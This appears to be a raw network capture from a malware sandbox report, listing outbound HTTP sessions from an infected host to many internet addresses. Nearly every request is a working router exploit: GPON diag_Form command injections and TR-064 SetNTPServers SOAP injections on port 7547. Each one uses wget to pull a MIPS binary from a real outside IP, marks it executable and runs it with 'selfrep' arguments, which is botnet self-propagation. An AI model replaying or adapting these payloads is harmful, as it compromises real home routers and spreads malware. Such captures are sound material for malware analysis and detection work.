Apr 15, 2024 08:53:42.342905998 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:43.200404882 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:44.192467928 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:46.176399946 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:50.176378012 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:58.112361908 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1162	192.168.2.13	49628	183.117.159.7	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:42.406305075 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1163	192.168.2.13	37264	222.101.168.128	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:42.407634020 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1164	192.168.2.13	59576	34.102.156.195	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:42.520956039 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:42.773758888 CEST	458	IN	HTTP/1.0 411 Length Required Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 286 Date: Mon, 15 Apr 2024 06:53:42 GMT Data Raw: 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 34 31 31 20 4c 65 6e 67 74 68 20 52 65 71 75 69 72 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 74 65 78 74 3d 23 30 30 30 30 30 30 20 62 67 63 6f 6c 6f 72 3d 23 66 66 66 66 66 66 3e 0a 3c 68 31 3e 45 72 72 6f 72 3a 20 4c 65 6e 67 74 68 20 52 65 71 75 69 72 65 64 3c 2f 68 31 3e 0a 3c 68 32 3e 50 4f 53 54 20 72 65 71 75 65 73 74 73 20 72 65 71 75 69 72 65 20 61 20 3c 63 6f 64 65 3e 43 6f 6e 74 65 6e 74 2d 6c 65 6e 67 74 68 3c 2f 63 6f 64 65 3e 20 68 65 61 64 65 72 2e 3c 2f 68 32 3e 0a 3c 68 32 3e 3c 2f 68 32 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><title>411 Length Required</title></head><body text=#000000 bgcolor=#ffffff><h1>Error: Length Required</h1><h2>POST requests require a <code>Content-length</code> header.</h2><h2></h2></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1165	192.168.2.13	49004	47.149.83.69	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:42.563819885 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1166	192.168.2.13	46834	174.30.17.56	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:42.630300999 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:42.860194921 CEST	90	IN	HTTP/1.1 400 Bad Request Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 62 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 62 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 00 Data Ascii: <html><head></head><body><b>400 Bad Request</b></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1167	192.168.2.13	35774	173.33.56.136	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:42.639442921 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1168	192.168.2.13	49026	47.149.83.69	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:42.721371889 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1169	192.168.2.13	33648	99.236.83.244	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:42.722389936 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1170	192.168.2.13	33402	99.237.109.14	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:42.734695911 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1171	192.168.2.13	43344	44.214.104.226	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:42.737112999 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:42.953358889 CEST	339	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 15 Apr 2024 06:53:42 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1172	192.168.2.13	51814	186.6.161.225	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:42.737840891 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:42.979731083 CEST	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1173	192.168.2.13	41916	14.65.239.234	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:42.782058001 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1174	192.168.2.13	57236	59.12.224.143	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:42.782594919 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1175	192.168.2.13	50964	175.228.4.92	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:42.783442020 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1176	192.168.2.13	35796	191.61.178.123	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:42.811109066 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:45.824384928 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1177	192.168.2.13	44128	84.74.124.103	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:42.839890957 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1178	192.168.2.13	56282	61.76.151.114	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:42.843648911 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:43.136188030 CEST	97	IN	HTTP/1.1 401 Unauthorized Date: Mon, 15 Apr 2024 06:53:42 GMT Content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1179	192.168.2.13	46856	174.30.17.56	7547

Timestamp	Bytes transferred	Direction	Data
